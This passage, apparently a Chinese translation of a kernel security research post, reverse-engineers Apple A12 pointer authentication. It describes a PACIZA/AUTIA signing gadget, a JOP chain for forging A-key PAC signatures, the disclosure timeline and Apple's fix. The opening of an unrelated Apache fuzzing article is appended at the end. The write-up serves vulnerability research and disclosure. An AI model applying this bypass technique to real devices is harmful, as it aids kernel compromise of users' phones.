MSR #0, c2, c1, #3, X5 ;; APIBKeyHi_EL1
ADD X5, X5, #1
MSR #0, c2, c2, #2, X5 ;; APDBKeyLo_EL1
MSR #0, c2, c2, #3, X5 ;; APDBKeyHi_EL1
Switch_context+11C
LDR X3, [X2,#0x458]
...
MSR #0, c2, c1, #2, X3 ;; APIBKeyLo_EL1
MSR #0, c2, c1, #3, X3 ;; APIBKeyHi_EL1
ADD X3, X3, #1
MSR #0, c2, c2, #2, X3 ;; APDBKeyLo_EL1
MSR #0, c2, c2, #3, X3 ;; APDBKeyLo_EL1
Idle_load_context+88
LDR X1, [X0,#0x458]
...
MSR #0, c2, c1, #2, X1 ;; APIBKeyLo_EL1
MSR #0, c2, c1, #3, X1 ;; APIBKeyHi_EL1
ADD X1, X1, #1
MSR #0, c2, c2, #2, X1 ;; APDBKeyLo_EL1
MSR #0, c2, c2, #3, X1 ;; APDBKeyHi_EL1
除了开始的赋值，上面这是内核中唯一一处对 PAC 密钥赋值的地方了。并且他们都是用了相同的模式：在偏移量为 0x458 处向某个数据结构中载入 64
比特。然后将APIBKey设置为与自身串接的值，并将APDBKey设置为APIBKey加上1
此外，所有这些位置的代码都时用来处理线程之间的上下文切换; 显然，没有任何迹象表明，PAC
密钥在异常级别切换时被更改，同样在内核进入(syscall)或内核进出(ERET*)时也没有被更改。
这很有可能表示，PAC的密钥实际上是在用户态和内核态之间共享的！！！
如果我的理解是正确的，这似乎表明了三件非常可怕的事情：
首先，与所有密码学规则相反，内核似乎对A密钥和通用密钥使用了固定值。
其次，由于128位密钥的前半部分和后半部分是相同的，因此密钥实际上是64位的。
第三，PAC密钥似乎在用户空间和内核之间共享，这意味着用户空间可以伪造内核PAC签名。
然而，苹果的的安全机制真的会那么糟糕吗?还是有什么我们不知道的问题?
### 研究运行过程中的行为
为了进一步研究，我们做了一个小小的实验：我读取了的一个函数指针的值，这个指针是被 PACIZA 签名过的，位于 **DATA_CONST.** const
段中，记录每次 kASLR slide 的值。由于内核 slide
的可能值是非常少的，用不了多久，我就会在内存同一个位置得到两次不同的内核引导。这意味着指针的原始非pac值两次都是相同的。然后，如果A密钥确实是常量，那么PACIZA
签名后的指针的值在两个引导中应该是相同的，因为签名算法是确定性的，而且被签名的指针和上下文值在两次引导中都是相同的。
作为一个目标，我选择去读取 sysclk_ops.c_gettime， sysclk_ops.c_gettime 是一个指向
rtclock_gettime() 的指针。下面是30次实验的结果，有 slide 相同的两次实验已经内标注出来了。
我们可以看到，尽管我们认为A密钥是相同的，但是在不同的引导中生成相同指针的PACIZA 是不同的。
我认为最有可能的是 iBoot 或者内核会在引导时用一个随机值覆盖 pac_key 的值。所以 PAC 的值在每次启动时确实是不一样的。即使 pac_key
保存在 **TEXT_EXEC.** text 中，通过 KTRR 保护它不被改写，但是仍然可以在 KTRR 锁定前对其进行修改。然而，在运行过程中读取
pac_key， 它的值仍然是 0xfeedfacefeedfacf，因此一定还有什么机制在影响 pac_key。
接下来，我又做了一个实验，以确定 PAC 密钥是否真的像代码里写的那样在用户空间和内核之间共享。我在用户空间中对 rtclock_gettime()
函数的指针执行 PACIZA 操作，然后与 PACIZA 签名后的的 sysclk_ops.c_gettime
指针进行比较。然而，这两个值时不同的，尽管我们预想它应该是相同，因此 A12 似乎又使用了什么黑科技。
到现在位置，我仍然不太相信 pac_key 的值在运行时没有被修改，我尝试枚举系统上所有线程的 B 密钥，看看它们是否是代码中写的
0xfeedfacefeedfacf。通过查看[osfmk/arm64/cswitch.s](https://opensource.apple.com/source/xnu/xnu-4903.221.2/osfmk/arm64/cswitch.s.auto.html)中
Switch_context 的代码。我明白了用作计算 B 密钥的种子是从 struct thread 的偏移 0x458 装载的，这个位置在 XNU
中是没有被公开的，所以我决定命名它为 pac_key_seed。因此，我准备便利所有线程并且读取所有线程的 pac_key_seed。
实验完成后，我发现所有内核线程实际上都在使用0xfeedfacefeedfacf作为PAC密钥的种子，而用户空间的线程使用的是另一个随机的种子:
pid 0 thread ffffffe00092c000 pac_seed feedfacefeedfacf
pid 0 thread ffffffe00092c550 pac_seed feedfacefeedfacf
pid 0 thread ffffffe00092caa0 pac_seed feedfacefeedfacf
...
pid 258 thread ffffffe003597520 pac_seed 51c6b449d9c6e7a3
pid 258 thread ffffffe003764aa0 pac_seed 51c6b449d9c6e7a3
因此，似乎内核线程的 PAC 密钥在每次引导时都被初始化为相同的，但是签名后的指针在不同的引导下是不同的。这又是为什么呢？
### 尝试绕过
接下来，我将我关注的重点之前在“面对内核层攻击者的设计缺陷”一节中提到的三个设计缺陷上。
由于在不同的引导下，使用相同的 PACIZA 指令，对于相同的指针，使用相同的 PAC
密钥，生成的结果是不同的，因此在每次引导后一定会产生一个随机的值。这基本上意味着 “在用户空间中实现QARMA-64算法并手动计算PAC”
这种方法的无效，但我还是决定尝试一下。不出所料，这没有奏效。
接下来，我向看看是否可以将自己线程的PAC密钥设置为内核PAC密钥，并在用户空间中伪造内核指针。理想情况下，这意味着我将把我的 IA 密钥设置为内核的 IA
密钥，即0xfeedfacefeedfad2。然而，正如前面所讨论的，内核中似乎只有一个地方(common_start)对A密钥赋值，但是用户空间和内核的PAC是不同的。因此，我决定将这种方法与
PAC 密钥交叉对称的缺点结合起来，将线程的 IB 密钥设置为内核的IA密钥，这应该允许我通过在用户空间中执行 PACIZB 来伪造内核 PACIZA
指针签名。
不幸的是，这种简单的方法(通过覆盖当前线程中的pac_key_seed字段)可能会导致系统异常崩溃，因为在线程的生命周期中更改 PAC 密钥会破坏线程现有的
PAC 签名。PAC 签名的检查是覆盖整个县城周期的。这意味着，想要更改线程的 PAC
密钥而不会使其崩溃，只能确保在更改密钥时线程不会调用函数或从任何函数返回。
最简单的方法是生成一个线程，该线程在用户空间中无限循环执行 PACIZB 并将结果存储到一个全局变量中。然后我们可以覆盖线程的 pac_key_seed
强制线程离开内核; 一旦离开内核的线程被重新调度，它的 B 密钥将通过 Switch_context 设置，然后开始伪造 PAC。
然而，实验结果再次失败:
gettime = fffffff0161f2050
kPACIZA = faef2270161f2050
uPACIZA = 138a8670161f2050
uPACIZB forge = d7fd0ff0161f2050
为了了解的更深入一点，我设计了一个专门针对密钥交叉的伪造 PAC 的测试。我将的线程的 IB 密钥设置为 DB 密钥，并检查 PACIZB 和 PACDZB
的输出是否相似，如果相似，就代表生成了相同的 PAC。因为 IB 和 DB
密钥是由相同的种子生成的，不能单独设置，所以这实际上涉及两个试验:第一个试验使用种子值0x11223344，第二个试验使用种子值0x11223345:
IB = 0x11223344 uPACIZB = 0028180100000000
DB = 0x11223345 uPACDZB = 00679e0100000000
IB = 0x11223345 uPACIZB = 003ea80100000000
DB = 0x11223346 uPACDZB = 0023c58100000000
中间两行显示了使用相同密钥从用户空间对相同值执行 PACDZB 和 PACIZB 的结果。根据指针验证的标准 ARMv8.3 中，我们认为两个 PAC
应该是一样的。然而，这两个 PAC 似乎完全不同，这表明A12确实已经做了防御。
### 理论上的实现方案
由于最初考虑的三个弱点明显不再适用于 A12， 现在我们需要考虑到底是什么导致的。
首先很明显，苹果意识到了在白皮书中定义的指针验证机制不能够抵抗读写内核的攻击者，因此他们实现了更高强度的防御。如果不对芯片进行逆向工程，我们不可能知道他们到底做了什么，但是我们可以根据观察到的行为进行推测。
我的第一个想法是，苹果重新加入了 secure monitor 机制，就像它在之前的设备上所做的那样，用 Watchtower 来防止内核补丁。如果
secure monitor 能够捕获 EL 之间的转换，并捕获对 PAC 密钥寄存器的写入，那么它就可以向内核隐藏真正的 PAC
密钥，并利用其他方法来破坏 PAC 的对称性。然而，我无法在内核中找到 secure monitor 存在的证据。
另一种选择是，苹果将真正的 PAC 密钥转移到 A12 本身，这样即使是最强大的软件攻击者也无法读取密钥。密钥可以在引导时随机生成，也可以通过 iBoot
的特殊寄存器进行设置。然后，提供给 QARMA-64
算法(或自己开发的算法)的密钥将是一种混合密钥，它结合了随机密钥、通过特殊寄存器设置的标准密钥和当前的异常级别。
比如说， A12 可以存储 10 个 128 比特的密钥，分别对应了两个异常级别(EL0和EL1)以及五个基本 PAC
密钥(IA,IB,DA,DB,GA)。那么，用于任何特定操作的 PAC 密钥可以是与该操作相对应的随机PAC密钥(如用户空间中的 PACIB
指令对那个的IB-EL0)与标准 PAC 密钥(如
APIBKey)的异或。这种方法它将彻底打破跨EL和密钥交叉的对称性，并防止密钥被公开，从而完全缓解之前确定的三个弱点。
虽然我不能确定它真正实现的方法，但我决定在我研究的其余部分都假设苹果采用最健壮的设计:真正的键是随机的，并存储在SoC本身中。这样，无论实际实现如何，我之后发现的任何绕过策略都会有效。
### 跨 EL 的PAC仍然可行
由于没有系统缺陷的线索，我决定是时候研究 PAC 的 signing gadget了。
第一个 PACIA 指令出现在 vm_shared_region_slide_page() 函数中，它是
vm_shared_region_slide_page_v3() 的一个内联副本。这个函数出现在XNU源代码中，在它的主循环的注释十分有趣:
uint8_t* rebaseLocation = page_content;
uint64_t delta = page_entry;
do {
rebaseLocation += delta;
uint64_t value;
memcpy(&value, rebaseLocation, sizeof(value));
delta = ( (value & 0x3FF8000000000000) >> 51) * sizeof(uint64_t);
// A pointer is one of :
// {
// uint64_t pointerValue : 51;
// uint64_t offsetToNextPointer : 11;
// uint64_t isBind : 1 = 0;
// uint64_t authenticated : 1 = 0;
// }
// {
// uint32_t offsetFromSharedCacheBase;
// uint16_t diversityData;
// uint16_t hasAddressDiversity : 1;
// uint16_t hasDKey : 1;
// uint16_t hasBKey : 1;
// uint16_t offsetToNextPointer : 11;
// uint16_t isBind : 1;
// uint16_t authenticated : 1 = 1;
// }
bool isBind = (value & (1ULL << 62)) == 1;
if (isBind) {
return KERN_FAILURE;
}
bool isAuthenticated = (value & (1ULL << 63)) != 0;
if (isAuthenticated) {
// The new value for a rebase is the low 32-bits of the threaded value
// plus the slide.
value = (value & 0xFFFFFFFF) + slide_amount;
// Add in the offset from the mach_header
const uint64_t value_add = s_info->value_add;
value += value_add;
} else {
// The new value for a rebase is the low 51-bits of the threaded value
// plus the slide. Regular pointer which needs to fit in 51-bits of
// value. C++ RTTI uses the top bit, so we'll allow the whole top-byte
// and the bottom 43-bits to be fit in to 51-bits.
...
}
memcpy(rebaseLocation, &value, sizeof(value));
} while (delta != 0);
尽管真正执行 PAC 操作的所有代码都已从公共源码中删除，但这部分代码中包含 authenticated 、hasBKey 和
hasDKey，表明该代码正是处理经过指针验证的函数。此外，关于 C++ RTTI
的另一个注释表明，这段代码是为了承接用户空间的代码。这意味着内核很有可能会对用户空间的指针执行 PAC 操作。
下面是这个循环在IDA中的反编译，我们可以看到在公共源代码中有许多不存在的操作:
slide_amount = si->slide;
offset = uservaddr - rebaseLocation;
do
{
rebaseLocation += delta;
value = *(uint64_t *)rebaseLocation;
delta = (value >> 48) & 0x3FF8;
if ( value & 0x8000000000000000 ) // isAuthenticated
{
value = slide_amount + (uint32_t)value + slide_info_entry->value_add;
context = (value >> 32) & 0xFFFF; // diversityData
if ( value & 0x1000000000000 ) // hasAddressDiversity
context = (offset + rebaseLocation) & 0xFFFFFFFFFFFF
| (context << 48);
if ( si->UNKNOWN_FIELD && !(BootArgs->bootFlags & 0x4000000000000000) )
{
daif = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));// DAIF
if ( !(daif & 0x80) )
__asm { MSR #6, #3 }
_WriteStatusReg(S3_4_C15_C0_4,
_ReadStatusReg(S3_4_C15_C0_4) & 0xFFFFFFFFFFFFFFFB);
__isb(0xFu);
key_bits = (value >> 49) & 3;
switch ( key_bits )
{
case 0:
value = ptrauth_sign...(value, ptrauth_key_asia, &context);
break;
case 1:
value = ptrauth_sign...(value, ptrauth_key_asib, &context);
break;
case 2:
value = ptrauth_sign...(value, ptrauth_key_asda, &context);
break;
case 3:
value = ptrauth_sign...(value, ptrauth_key_asdb, &context);
break;
}
_WriteStatusReg(S3_4_C15_C0_4, _ReadStatusReg(S3_4_C15_C0_4) | 4);
__isb(0xFu);
ml_set_interrupts_enabled(~(daif >> 7) & 1);
}
}
else
{
...
}
memmove(rebaseLocation, &value, 8);
}
while ( delta );
内核似乎会代表用户空间对指针进行签名。这很有趣，因为正如前面所讨论的，A12 否定了我们跨 EL
伪造指针的思路，这应该意味着内核在用户空间指针上的签名，而这个签名在用户空间中本应该是无效的。
但是这写隐藏起来的代码不太可能是无效的，因此必定有一些机制，内核通过这种机制能够对用户空间指针进行签名。之后，我们搜索其他的 PAC*
指令实例，可以找到一个固定的模式：每当内核为用户空间指针签名时，它会清除并设置S3_4_C15_C0_4系统寄存器中的一个比特来封装PAC指令：
MRS X8, #4, c15, c0, #4 ; S3_4_C15_C0_4
AND X8, X8, #0xFFFFFFFFFFFFFFFB
MSR #4, c15, c0, #4, X8 ; S3_4_C15_C0_4
ISB
... ;; PAC stuff for userspace
MRS X8, #4, c15, c0, #4 ; S3_4_C15_C0_4
ORR X8, X8, #4
MSR #4, c15, c0, #4, X8 ; S3_4_C15_C0_4
ISB
同样，设置和清除 S3_4_C15_C0_4 为 0x4 的内核代码通常伴随着禁用中断并检查引导BootArgs->bootFlags
内容((BootArgs->bootFlags &
0x4000000000000000))，正如我们在上面vm_shared_region_slide_page_v3()中所看到的那样。
我们可以推断，S3_4_C15_C0_4 为 0x4 控制内核中的 PAC* 指令是使用 EL0
密钥还是EL1密钥:当设置这个位时，使用内核密钥，否则使用用户空间密钥。在清除这个位时，需要禁用中断，这也是十分合理的。否则，其他内核代码在使用EL0
PAC密钥时遇到中断，会导致PAC验证失败，从而使内核崩溃。
### SCTLR_EL1 中发现了 PAC 的控制位。
我在调查系统寄存器时注意到的另一件事是，以前SCTLR_EL1的保留位现在被用于启用或禁用某些密钥的PAC指令。在研究
Lel0_synchronous_vector_64 时，我注意到一些代码引用了bootFlags并为 SCTLR_EL1 设置了一些值。
ADRP X0, #const_boot_args@PAGE
ADD X0, X0, #const_boot_args@PAGEOFF
LDR X0, [X0,#(const_boot_args.bootFlags - 0xFFFFFFF0077A21B8)]
AND X0, X0, #0x8000000000000000
CBNZ X0, loc_FFFFFFF0079B3320
MRS X0, #0, c1, c0, #0 ;; SCTLR_EL1
TBNZ W0, #0x1F, loc_FFFFFFF0079B3320
ORR X0, X0, #0x80000000 ;; set bit 31
ORR X0, X0, #0x8000000 ;; set bit 27
ORR X0, X0, #0x2000 ;; set bit 13
MSR #0, c1, c0, #0, X0 ;; SCTLR_EL1
此外，这些位在异常返回时会被有条件地清除
TBNZ W1, #2, loc_FFFFFFF0079B3AE8 ;; SPSR_EL1.M[3:0] & 0x4
...
LDR X2, [X2,#thread.field_460]
CBZ X2, loc_FFFFFFF0079B3AE8
...
MRS X0, #0, c1, c0, #0 ;; SCTLR_EL1
AND X0, X0, #0xFFFFFFFF7FFFFFFF ;; clear bit 31
AND X0, X0, #0xFFFFFFFFF7FFFFFF ;; clear bit 27
AND X0, X0, #0xFFFFFFFFFFFFDFFF ;; clear bit 13
MSR #0, c1, c0, #0, X0 ;; SCTLR_EL1
虽然 ARM
将这些位记录为保留位(值为0)，但我确实在[osfmk/arm64/proc_reg.h](https://opensource.apple.com/source/xnu/xnu-4903.221.2/osfmk/arm64/proc_reg.h.auto.html)的
XNU 4903.221.2源码中找到了对其中一个位的引用:
// 13 PACDB_ENABLED AddPACDB and AuthDB functions enabled
#define SCTLR_PACDB_ENABLED (1 << 13)
这表明第 13 位至少与 PAC 的 DB 密钥有关。一来，由于文件中并没有提到 SCTLR_EL1
的这一位，另外，还有其他几位也没有按照保留值来赋值(31,30,27位)，因此我推测这些位控制其他PAC密钥。我猜第31位控制PACIA，第30位控制PACIB，第27位控制PACDA，第13位控制PACDB。由于文件中没有提到(a)和(b)没有通过sctlr_reservation自动设置的SCTLR_EL1位分别是31、30和27，因此我推测这些位控制了其他PAC键。(假设代码中保留对SCTLR_PACDB_ENABLED的引用是一种疏忽)。我猜第31位控制PACIA，第30位控制PACIB，第27位控制PACDA，第13位控制PACDB。
为了测试这个理论，我分别在设置当前线程的0x460偏移与不设置的情况下，调试器中执行了以下PAC指令序列。在执行这些指令之前，我将每个寄存器Xn的值设置为0x11223300
| n
pacia x0, x1
pacib x2, x3
pacda x4, x5
pacdb x6, x7
下面是没有设置field_460的结果:
x0 = 0x001d498011223300 # PACIA
x1 = 0x0000000011223301
x2 = 0x0035778011223302 # PACIB
x3 = 0x0000000011223303
x4 = 0x0062860011223304 # PACDA
x5 = 0x0000000011223305
x6 = 0x001e6c8011223306 # PACDB
x7 = 0x0000000011223307
在设置field_460后的结果为：
x0 = 0x0000000011223300 # PACIA
x1 = 0x0000000011223301
x2 = 0x0035778011223302 # PACIB
x3 = 0x0000000011223303
x4 = 0x0000000011223304 # PACDA
x5 = 0x0000000011223305
x6 = 0x0000000011223306 # PACDB
x7 = 0x0000000011223307
这似乎证实了我们的理论:没有设置
field_460，PAC指令按照预期工作，但是在设置field_460之后，除了PACIB之外，所有指令都变成了NOP。SCTLR_EL1中存在这些PAC-enable位十分有趣。
## 不知道存不存在的 signing gadgets
研究到这里，由于苹果的设计比我们预想的健壮，我们还没能找到一个突破口，我们正在寻找一个 signing
gadgets。这意味着我们正在寻找一个代码序列，它将从内存中读取指针，对其进行签名，并将其写回内存。但是我们还不能调用任意的内核地址，因此我们还需要确保该代码路径实际上是可触发的，无论是在正常的内核操作，还是通过使用
iokit_user_client_trap() 调用。
苹果显然试图清除任何明显的 signing gadget。所有出现的 PACIA 指令要么不可用，要么被切换到用户态 PAC
密钥的代码包装(通过S3_4_C15_C0_4)，因此我们无法使内核仅使用读/写来执行 PACIA 伪造。
那就只剩下 PACIZA 了。虽然 PACIZA 指令出现了很多次，但是大多数都是无用的，因为结果没有写到内存中。此外，实际上加载和存储指针的过程几乎总是在
AUTIA 之前，如果我们调用的指针没有有效的 PAC，那么 AUTIA 就会失败:
LDR X10, [X9,#0x30]!
CBNZ X19, loc_FFFFFFF007EBD330
CBZ X10, loc_FFFFFFF007EBD330
MOV X19, #0
MOV X11, X9
MOVK X11, #0x14EF,LSL#48
AUTIA X10, X11
PACIZA X10
STR X10, [X9]
因此，看来我还是没有办法。
## 第四个缺陷出现！
在放弃了 signing gadget 并碰了一些其他的死胡同之后，我最终想知道:如果 PACIZA 被用来签名一个无效指针，但是 AUTIA
验证通过后会发生什么？我假设这样的指针是无用的，但是我决定查看 ARM 代码，看看实际会发生什么。
令我惊讶的是，ARM 标准显示 AUTIA 和 PACIZA 之间有一个有趣的行为。当 AUTIA 发现一个指针的 PAC
不匹配时，它会在指针的扩展位插入错误代码，并破坏指针:
** _译者注： 在这里，原作者说的非常不清楚，根据我的理解，这里的意思应该是，如果一个指针的签名不合法，AUTIA
会直接在合法的签名中间插入错误代码并返回，这样返回的内容其实包含了大部分的合法签名_**
// Auth()
// ======
// Restores the upper bits of the address to be all zeros or all ones (based on
// the value of bit[55]) and computes and checks the pointer authentication
// code. If the check passes, then the restored address is returned. If the
// check fails, the second-top and third-top bits of the extension bits in the
// pointer authentication code field are corrupted to ensure that accessing the
// address will give a translation fault.
bits(64) Auth(bits(64) ptr, bits(64) modifier, bits(128) K, boolean data,
bit keynumber)
bits(64) PAC;
bits(64) result;
bits(64) original_ptr;
bits(2) error_code;
bits(64) extfield;
// Reconstruct the extension field used of adding the PAC to the pointer
boolean tbi = CalculateTBI(ptr, data);
integer bottom_PAC_bit = CalculateBottomPACBit(ptr<55>);
extfield = Replicate(ptr<55>, 64);
if tbi then
...
else
original_ptr = extfield<64-bottom_PAC_bit-1:0>:ptr<bottom_PAC_bit-1:0>;
PAC = ComputePAC(original_ptr, modifier, K<127:64>, K<63:0>);
// Check pointer authentication code
if tbi then
...
else
if ((PAC<54:bottom_PAC_bit> == ptr<54:bottom_PAC_bit>) &&
(PAC<63:56> == ptr<63:56>)) then
result = original_ptr;
else
error_code = keynumber:NOT(keynumber);
result = original_ptr<63>:error_code:original_ptr<60:0>;
return result;
同时， 当 PACIZA 为指针添加 PAC 时，它实际上用还原后的扩展位对指针签名，如果扩展位本来无效，则会破坏PAC。
ext_ptr = extfield<(64-bottom_PAC_bit)-1:0>:ptr<bottom_PAC_bit-1:0>;
PAC = ComputePAC(ext_ptr, modifier, K<127:64>, K<63:0>);
// Check if the ptr has good extension bits and corrupt the pointer
// authentication code if not;
if !IsZero(ptr<top_bit:bottom_PAC_bit>)
&& !IsOnes(ptr<top_bit:bottom_PAC_bit>) then
PAC<top_bit-1> = NOT(PAC<top_bit-1>);
重要的是，PAC _指令会通过翻转 PAC 的一个位来破坏具有无效扩展位的指针的PAC。 虽然这肯定会使PAC无效，但这也意味着，如果我们能够读出一个
AUT_ 指令产生的PAC _伪造指针，那么可以重建真正的PAC！
**_译者注： 在这里这里应该也是指的 PACIZA 会返回一部分合法签名，如果 PACIZA 与 AUTIA
两个返回的部分合法签名对照一下，就可以恢复出全部的合法签名 _*_
因此，即使我们没有一个有效的签名指针，上面那个由 AUTIA 和 PACIZA 组成的序列也可以用作 signing
gadget：我们只需要在伪造的PAC中翻转一个位。
## 一个完整 A 密钥伪造策略
有了基于 PACIZA 的 signing gadget，我们可以开始为A12设备上的 A 密钥构建一个完整的伪造策略。
### 方法 1: 利用 PACIZA 伪造签名
稍微调查一下，发现我们找到的 signing gadget 是函数sysctl_unregister_oid() 的一部分，
该函数负责从全局 sysctl 树中取消注册 sysctl_oid。
（再次说明以下，这个函数在公共源代码中没有任何与PAC相关的代码，但这些操作的确存在于启用PAC的设备上。）
以下是IDA中相关部分的代码：
void sysctl_unregister_oid(sysctl_oid *oidp)
{
sysctl_oid *removed_oidp = NULL;
sysctl_oid *old_oidp = NULL;
BOOL have_old_oidp;
void **handler_field;
void *handler;
uint64_t context;
...
if ( !(oidp->oid_kind & 0x400000) ) // Don't enter this if
{
...
}
if ( oidp->oid_version != 1 ) // Don't enter this if
{
...
}
sysctl_oid *first_sibling = oidp->oid_parent->first;
if ( first_sibling == oidp ) // Enter this if
{
removed_oidp = NULL;
old_oidp = oidp;
oidp->oid_parent->first = old_oidp->oid_link;
have_old_oidp = 1;
}
else
{
...
}
handler_field = &old_oidp->oid_handler;
handler = old_oidp->oid_handler;
if ( removed_oidp || !handler ) // Take the else
{
...
}
else
{
removed_oidp = NULL;
context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
*handler_field = ptrauth_sign_unauthenticated(
ptrauth_auth_function(handler, ptrauth_key_asia, &context),
ptrauth_key_asia,
0);
...
}
...
}
如果我们可以使用设计一个sysctl_oid来调用这个函数，并指定路径，那么我们应该能够伪造任意的PACIZA指针。
事实上，并没有指向这个函数的 PACIZA 签名指针，所以我们不能直接使用我们的 iokit_user_client_trap
调用它。但幸运的是，有几个全局 PACIZA 签名的函数指针本身就会调用它。
这是因为一些内核扩展需要在 unload 前先解除注册。这些内核扩展通常有一个终止函数会调用 sysctl_unregister_oid()。描述内核扩展的
kmod_info 结构体包含指向模块终止函数的 PACIZA 签名指针。
我能找到的最好的方案时通过 l2tp_domain_module_stop()，它是内核扩展com.apple.nk.lttp
的一部分。这个函数通常会在调用 sysctl_unregister_oid 前在全局的 sysctl **net_ppp_l2tp
对象上执行一些析构工作。因此，我们可以通过覆盖 sysctl** net_ppp_l2tp 的内容来对任意指针进行 PACIZA 签名。通过现有的全局
PACIZA 签名指针调用 l2tp_domain_module_stop() ，然后读取sysctl__net_ppp_l2tp 的
oid_handler 字段，并在第62位取反即可。
### 方法 2: 利用 PACIA/PACDA 伪造签名
虽然我们现在已经可以对伪造任何指针的 PACIZA 签名。但是能够执行 PACIA/PACDA
签名的伪造会更好，因为这样我们就可以实现在“寻找内核代码执行的入口点”一节中描述的绕过方案。为此，我接下来研究 PACIZA 是否可以将
kernelcache 中的任何 PACIA 指令转换为可用的 signing gadget。
最可能的候选函数是一个未知的 sub_FFFFFFF007B66C48 函数，该函数包含以下指令序列:
MRS X9, #4, c15, c0, #4 ; S3_4_C15_C0_4
AND X9, X9, #0xFFFFFFFFFFFFFFFB
MSR #4, c15, c0, #4, X9 ; S3_4_C15_C0_4
ISB
LDR X9, [X2,#0x100]
CBZ X9, loc_FFFFFFF007B66D24
MOV W10, #0x7481
PACIA X9, X10
STR X9, [X2,#0x100]
...
LDR X9, [X2,#0xF8]
CBZ X9, loc_FFFFFFF007B66D54
MOV W10, #0xCBED
PACDA X9, X10
STR X9, [X2,#0xF8]
...
MRS X9, #4, c15, c0, #4 ; S3_4_C15_C0_4
ORR X9, X9, #4
MSR #4, c15, c0, #4, X9 ; S3_4_C15_C0_4
ISB
...
PACIBSP
STP X20, X19, [SP,#var_20]!
... ;; Function body (mostly harmless)
LDP X20, X19, [SP+0x20+var_20],#0x20
AUTIBSP
MOV W0, #0
RET
我们可以看到，PACIA/PACDA
的操作都是出现在栈帧建立之前。通常，在函数返回时，调用函数的中间部分会导致问题，因为每次函数的结束都会销毁从未建立过的栈帧。但是，由于这个函数的栈帧是在我们需要的入口点之后设置的，因此我们可以使用内核原语直接跳到这些指令，而不会造成任何问题。
当然，我们还有另一个问题: PACIA 和 PACDA 指令使用寄存器 X9 和 X10，而基于iokit_user_client_trap()
的内核调用原语只提供对寄存器 X1 到 X6 的控制。我们需要想办法将我们想要的值放入适当的寄存器中。
事实上，我们已经找到了解决这个问题的方法:JOP gadget。
在 kernelcache 中搜索时，似乎只有三个内核扩展持有绝大多数非 PAC
签名的间接分支:FairPlayIOKit、LSKDIOKit和LSKDIOKitMSE。这三个内核扩展甚至在IDA的导航栏中突出显示为蓝色和红色，因为IDA无法利用这里面大部分的关键字创建函数。
这些内核扩展似乎使用了某种混淆来隐藏他们的控制流，使逆向的工作更加困难。这段代码中的许多跳转都是通过寄存器间接执行的。然而，在这种情况下，混淆实际上使攻击者的工作变得更容易，因为它为我们提供了大量不受
PAC 保护的，有用的JOP gadget。
对于我们的这个场景，我们可以控制 PC 和 X1 到 X6，在跳到 signing gadget 之前，我们试图将 X2 设置为某个可写内存区域，将 X9
设置为要签名的指针，将 X10 设置为签名上下文。最后，我们的 JOP 程序如下:
X1 = MOV_X10_X3__BR_X6
X2 = KERNEL_BUFFER
X3 = CONTEXT
X4 = POINTER
X5 = MOV_X9_X0__BR_X1
X6 = PACIA_X9_X10__STR_X9_X2_100
MOV X0, X4
BR X5
MOV X9, X0
BR X1
MOV X10, X3
BR X6
PACIA X9, X10
STR X9, [X2,#0x100]
...
这样，我们就有了一个完整的绕过策略，允许我们使用 A 密钥伪造任意PAC签名。
## 时间线
在2018年12月18日我分享了最初的内核读/写漏洞，之后，我又在12月30日报告了利用voucher_swap 的 绕过 PAC 的概念验证。
这个 POC 可以伪造任意的 A 密钥 PAC，可以调用任意内核函数，就像在非PAC设备上一样。
苹果迅速回应称，最新的iOS 12.1.3测试版16D5032a应该能缓解这个问题。由于这次的升级还修复了 voucher_swap
错误，所以目前无法直接测试这个漏洞，但是我手动检查了内核缓存，发现苹果减轻了sysctl_unregister_oid() 的影响，该函数在我们第一个生成
PACIZA 伪造的策略中，起到了很大的作用。
修复的版本是在12月19日发布的，当时我对 PAC 的研究刚刚开始，而且远在我向苹果上报 PAC 绕过漏洞之前。因此，就像 voucher_swap
错误的情况一样，我怀疑是另一位研究人员首先发现并报告了这个问题。
## 苹果的修复方案
为了修复 sysctl_unregister_oid() 的问题 (以及其他AUTIA- PACIA gadgets)，苹果添加了一些指令，以确保如果
AUTIA 失败，那么将使用产生的无效指针，而不是PACIZA的结果:
LDR X10, [X9,#0x30]! ;; X10 = old_oidp->oid_handler
CBNZ X19, loc_FFFFFFF007EBD4A0
CBZ X10, loc_FFFFFFF007EBD4A0
MOV X19, #0
MOV X11, X9 ;; X11 = &old_oidp->oid_handler
MOVK X11, #0x14EF,LSL#48 ;; X11 = 14EF`&oid_handler
MOV X12, X10 ;; X12 = oid_handler
AUTIA X12, X11 ;; X12 = AUTIA(handler, 14EF`&handler)
XPACI X10 ;; X10 = XPAC(handler)
CMP X12, X10
PACIZA X10 ;; X10 = PACIZA(XPAC(handler))
CSEL X10, X10, X12, EQ ;; X10 = (PAC_valid ? PACIZA : AUTIA)
STR X10, [X9]
有了这个更改，我们就不能再使用 PACIZA 来伪造指针了，除非我们已经有了带有特定上下文的 PACIA 指针。
## Conclusion
在这篇文章中我们详细的研究了苹果在A12中指针验证机制,描述观察到的行为,具体的实现中如何偏离本来的设计目的，并分析系统的薄弱环节,允许内核具有读/写功能的攻击者伪造任意指针的
PAC。该分析以一个完整的绕过策略和概念验证结束，该策略允许攻击者在运行iOS 12.1.2的iPhone XS上执行任意的 A 密钥伪造操作。
尽管存在这些缺陷，PAC
仍然是一项十分有用的防御机制。苹果公司在A12中增强了PAC，这显然是为了防止内核攻击者进行读/写，这意味着我没有在设计中找到系统性的突破并且不得不依赖
signing gadget，然而这些 gadget 很容易通过软件修补。 | 社区文章 |
# 【技术分享】看我如何对Apache进行模糊测试并挖到了一个价值1500刀的漏洞
##### 译文声明
本文是翻译文章，文章来源：animal0day.blogspot.co.uk
原文地址：<https://animal0day.blogspot.co.uk/2017/07/from-fuzzing-apache-httpd-server-to-cve.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**介绍**
在之前的一篇文章中，我详细地描述了如何使用American Fuzzy Lop（AFL-一款模糊测试工具）来对Apache的httpd服务器进行模糊测试。【[文章链接](https://animal0day.blogspot.co.uk/2017/05/fuzzing-apache-httpd-server-with.html)】令我惊讶的是，其中的某些测试用例竟然崩掉了。我之所以觉得会“令我惊讶”，是因为在我之前肯定已经有人设计了能够正常运行的测试用例，但我的不知为何会崩溃。不管怎样，反正我是第一个报告这个漏洞的人！
**目标**
